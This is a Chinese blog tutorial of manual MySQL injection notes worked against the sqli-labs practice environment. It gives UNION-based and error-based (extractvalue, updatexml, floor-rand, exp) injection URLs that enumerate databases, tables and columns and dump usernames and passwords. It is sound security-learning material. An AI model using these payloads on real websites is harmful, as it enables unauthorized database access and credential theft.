Mysql手工注入

整理一下手工注入笔记,以sqli-labs环境为例。

1.Mysql手工union联合查询注入

输入单引号,页面报错。

http://192.168.68.106/sqli-labs/Less-1/?id=0

根据报错信息显示,这是个字符型的注入,后台的查询应该是select xxx from xxx where id='1'。

下一步,我们用order by 来爆列。(ORDER BY 语句用于对结果集进行排序。)

http://192.168.68.106/sqli-labs/Less-1/?id=1' order by 3--+(注释一般采用--+或者#(%23))

http://192.168.68.106/sqli-labs/Less-1/?id=1' order by 4--+

当order by 为3时,有数据返回,为4时报错,说明有3行数据。

然后,我们来爆数据库名。

Mysql 5.0版本以上,有information_schema这个系统表,它存储着所有的数据库的相关信息。

http://192.168.68.106/sqli-labs/Less-1/?id=0' UNION select 1,database(),3 from information_schema.schemata--+

成功爆出数据库 security

再来爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+

这样我们只能得到1个表名,我们需要借助limit。

Limit子句可以被用于强制 SELECT 语句返回指定的记录数。Limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1--+

如果表比较多,这样操作太麻烦。我们可以用group_concat函数。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

这样,把所有的表用组的方式查询出来。

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(username,0x3a,password),3 from users--+

2.Mysql手工报错型注入

爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

报错返回长度有限制,如果有没爆出的字段可以继续爆。

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('id','username')))) --+

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

剩下的数据可以类似爆出。

当然,这只是报错型注入的一种语句。这里在附上几个:

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and 1=updatexml(1,concat(0x7e,(select database())),1)

select exp(~(select * FROM(SELECT USER())a))

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

参考:http://www.cnblogs.com/lcamry/category/846064.html

 https://www.cnblogs.com/peterpan0707007/p/7620048.html

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容